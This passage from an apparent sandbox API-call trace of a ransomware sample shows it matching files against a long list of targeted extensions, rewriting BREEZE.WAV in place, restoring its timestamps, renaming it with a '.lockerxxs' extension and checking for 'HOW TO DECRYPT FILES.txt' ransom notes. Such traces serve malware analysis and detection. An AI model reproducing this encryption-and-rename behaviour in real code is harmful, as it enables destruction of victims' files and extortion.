Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.pptx") returned 0 [0065.999] lstrlenA (lpString="*.pptx") returned 6 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.doc") returned 0 [0065.999] lstrlenA (lpString="*.doc") returned 5 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.dot") returned 0 [0065.999] lstrlenA (lpString="*.dot") returned 5 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.docx") returned 0 [0065.999] lstrlenA (lpString="*.docx") returned 6 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.7z") returned 0 [0065.999] lstrlenA (lpString="*.7z") returned 4 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.tar") returned 0 [0065.999] lstrlenA (lpString="*.tar") returned 5 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.bz2") returned 0 [0065.999] lstrlenA (lpString="*.bz2") returned 5 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.gz") returned 0 [0065.999] lstrlenA (lpString="*.gz") returned 4 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.mkv") returned 0 [0065.999] lstrlenA (lpString="*.mkv") returned 5 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.eml") returned 0 [0066.000] lstrlenA (lpString="*.eml") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.msg") returned 0 [0066.000] lstrlenA (lpString="*.msg") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.edb") returned 0 [0066.000] lstrlenA (lpString="*.edb") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.accdb") returned 0 [0066.000] lstrlenA (lpString="*.accdb") returned 7 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.odb") returned 0 [0066.000] lstrlenA (lpString="*.odb") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.java") returned 0 [0066.000] lstrlenA (lpString="*.java") returned 6 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.asm") returned 0 [0066.000] lstrlenA (lpString="*.asm") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.pfx") returned 0 [0066.000] lstrlenA (lpString="*.pfx") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.pem") returned 0 [0066.000] lstrlenA (lpString="*.pem") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.p12") returned 0 [0066.000] lstrlenA (lpString="*.p12") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.gpg") returned 0 [0066.000] lstrlenA (lpString="*.gpg") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.vsd") returned 0 [0066.000] lstrlenA (lpString="*.vsd") returned 5 [0066.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.odg") returned 0 [0066.001] lstrlenA (lpString="*.odg") returned 5 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.raw") returned 0 [0066.001] lstrlenA (lpString="*.raw") returned 5 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.nef") returned 0 [0066.001] lstrlenA (lpString="*.nef") returned 5 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.svg") returned 0 [0066.001] lstrlenA (lpString="*.svg") returned 5 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.psd") returned 0 [0066.001] lstrlenA (lpString="*.psd") returned 5 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.vmx") returned 0 [0066.001] lstrlenA (lpString="*.vmx") returned 5 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.vmdk") returned 0 [0066.001] lstrlenA (lpString="*.vmdk") returned 6 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.vdi") returned 0 [0066.001] lstrlenA (lpString="*.vdi") returned 5 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.lay6") returned 0 [0066.001] lstrlenA (lpString="*.lay6") returned 6 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.mpeg") returned 0 [0066.001] lstrlenA (lpString="*.mpeg") returned 6 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.djvu") returned 0 [0066.001] lstrlenA (lpString="*.djvu") returned 6 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.tiff") returned 0 [0066.001] lstrlenA (lpString="*.tiff") returned 6 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.backup") returned 0 [0066.001] lstrlenA (lpString="*.backup") returned 8 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.pdf") returned 0 [0066.001] lstrlenA (lpString="*.pdf") returned 5 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.cert") returned 0 [0066.001] lstrlenA (lpString="*.cert") returned 6 [0066.001] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.docm") returned 0 [0066.002] lstrlenA (lpString="*.docm") returned 6 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.xlsm") returned 0 [0066.002] lstrlenA (lpString="*.xlsm") returned 6 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.dwg") returned 0 [0066.002] lstrlenA (lpString="*.dwg") returned 5 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.nd") returned 0 [0066.002] lstrlenA (lpString="*.nd") returned 4 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.tlg") returned 0 [0066.002] lstrlenA (lpString="*.tlg") returned 5 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.lgb") returned 0 [0066.002] lstrlenA (lpString="*.lgb") returned 5 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.mov") returned 0 [0066.002] lstrlenA (lpString="*.mov") returned 5 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.xdw") returned 0 [0066.002] lstrlenA (lpString="*.xdw") returned 5 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.ods") returned 0 [0066.002] lstrlenA (lpString="*.ods") returned 5 [0066.002] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.wav") returned 1 [0066.002] lstrlenA (lpString="*.wav") returned 5 [0066.002] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" [0066.002] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" [0066.002] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV." [0066.002] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.lockerxxs" [0066.002] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0066.003] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10c2 [0066.003] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x106db200, dwHighDateTime=0x1bfc6e8), lpLastAccessTime=0x407536*(dwLowDateTime=0x6003c730, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x106db200, dwHighDateTime=0x1bfc6e8)) returned 1 [0066.003] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.003] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x109c, lpOverlapped=0x0) returned 1 [0066.005] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV") returned="BREEZE.WAV" [0066.005] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.006] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x109c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x109c, lpOverlapped=0x0) returned 1 [0066.006] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.006] CloseHandle (hObject=0x8c) returned 1 [0066.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav.lockerxxs")) returned 1 [0066.008] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="CAMERA.WAV", cAlternateFileName="")) returned 1 [0066.008] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.008] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CAMERA.WAV") returned 1 [0066.008] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CAMERA.WAV") returned 1 [0066.008] lstrcmpiA (lpString1="", lpString2="CAMERA.WAV") returned -1 [0066.008] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV") returned="BREEZE.WAV" [0066.008] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.008] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.008] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0066.008] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0066.008] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="CAMERA.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" [0066.008] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.ems") returned 0 [0066.008] lstrlenA (lpString="*.ems") returned 5 [0066.008] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.db") returned 0 [0066.009] lstrlenA (lpString="*.db") returned 4 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.dbf") returned 0 [0066.009] lstrlenA (lpString="*.dbf") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.myox") returned 0 [0066.009] lstrlenA (lpString="*.myox") returned 6 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.myo") returned 0 [0066.009] lstrlenA (lpString="*.myo") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qbw") returned 0 [0066.009] lstrlenA (lpString="*.qbw") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qbb") returned 0 [0066.009] lstrlenA (lpString="*.qbb") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qbm") returned 0 [0066.009] lstrlenA (lpString="*.qbm") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qbo") returned 0 [0066.009] lstrlenA (lpString="*.qbo") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qbx") returned 0 [0066.009] lstrlenA (lpString="*.qbx") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qba") returned 0 [0066.009] lstrlenA (lpString="*.qba") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qby") returned 0 [0066.009] lstrlenA (lpString="*.qby") returned 5 [0066.009] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qbj") returned 0 [0066.009] lstrlenA (lpString="*.qbj") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.ofx") returned 0 [0066.010] lstrlenA (lpString="*.ofx") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.qif") returned 0 [0066.010] lstrlenA (lpString="*.qif") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.mye") returned 0 [0066.010] lstrlenA (lpString="*.mye") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.mbox") returned 0 [0066.010] lstrlenA (lpString="*.mbox") returned 6 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.eml") returned 0 [0066.010] lstrlenA (lpString="*.eml") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.pst") returned 0 [0066.010] lstrlenA (lpString="*.pst") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.ost") returned 0 [0066.010] lstrlenA (lpString="*.ost") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.idx") returned 0 [0066.010] lstrlenA (lpString="*.idx") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.dbx") returned 0 [0066.010] lstrlenA (lpString="*.dbx") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.sql") returned 0 [0066.010] lstrlenA (lpString="*.sql") returned 5 [0066.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.mdb") returned 0 [0066.010] lstrlenA (lpString="*.mdb") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.fdb") returned 0 [0066.011] lstrlenA (lpString="*.fdb") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.wab") returned 0 [0066.011] lstrlenA (lpString="*.wab") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.dat") returned 0 [0066.011] lstrlenA (lpString="*.dat") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.txt") returned 0 [0066.011] lstrlenA (lpString="*.txt") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.jpeg") returned 0 [0066.011] lstrlenA (lpString="*.jpeg") returned 6 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.jpg") returned 0 [0066.011] lstrlenA (lpString="*.jpg") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.png") returned 0 [0066.011] lstrlenA (lpString="*.png") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.php") returned 0 [0066.011] lstrlenA (lpString="*.php") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.cs") returned 0 [0066.011] lstrlenA (lpString="*.cs") returned 4 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.cpp") returned 0 [0066.011] lstrlenA (lpString="*.cpp") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.rar") returned 0 [0066.011] lstrlenA (lpString="*.rar") returned 5 [0066.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.zip") returned 0 [0066.011] lstrlenA (lpString="*.zip") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.html") returned 0 [0066.012] lstrlenA (lpString="*.html") returned 6 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.htm") returned 0 [0066.012] lstrlenA (lpString="*.htm") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.xlsx") returned 0 [0066.012] lstrlenA (lpString="*.xlsx") returned 6 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.xls") returned 0 [0066.012] lstrlenA (lpString="*.xls") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.mp4") returned 0 [0066.012] lstrlenA (lpString="*.mp4") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.ppt") returned 0 [0066.012] lstrlenA (lpString="*.ppt") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.pptx") returned 0 [0066.012] lstrlenA (lpString="*.pptx") returned 6 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.doc") returned 0 [0066.012] lstrlenA (lpString="*.doc") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.dot") returned 0 [0066.012] lstrlenA (lpString="*.dot") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.docx") returned 0 [0066.012] lstrlenA (lpString="*.docx") returned 6 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.7z") returned 0 [0066.012] lstrlenA (lpString="*.7z") returned 4 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.tar") returned 0 [0066.012] lstrlenA (lpString="*.tar") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.bz2") returned 0 [0066.012] lstrlenA (lpString="*.bz2") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.gz") returned 0 [0066.012] lstrlenA (lpString="*.gz") returned 4 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.mkv") returned 0 [0066.012] lstrlenA (lpString="*.mkv") returned 5 [0066.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.eml") returned 0 [0066.012] lstrlenA (lpString="*.eml") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.msg") returned 0 [0066.013] lstrlenA (lpString="*.msg") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.edb") returned 0 [0066.013] lstrlenA (lpString="*.edb") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.accdb") returned 0 [0066.013] lstrlenA (lpString="*.accdb") returned 7 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.odb") returned 0 [0066.013] lstrlenA (lpString="*.odb") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.java") returned 0 [0066.013] lstrlenA (lpString="*.java") returned 6 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.asm") returned 0 [0066.013] lstrlenA (lpString="*.asm") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.pfx") returned 0 [0066.013] lstrlenA (lpString="*.pfx") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.pem") returned 0 [0066.013] lstrlenA (lpString="*.pem") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.p12") returned 0 [0066.013] lstrlenA (lpString="*.p12") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.gpg") returned 0 [0066.013] lstrlenA (lpString="*.gpg") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.vsd") returned 0 [0066.013] lstrlenA (lpString="*.vsd") returned 5 [0066.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", pszSpec="*.odg") returned 0 [0066.013] lstrlenA 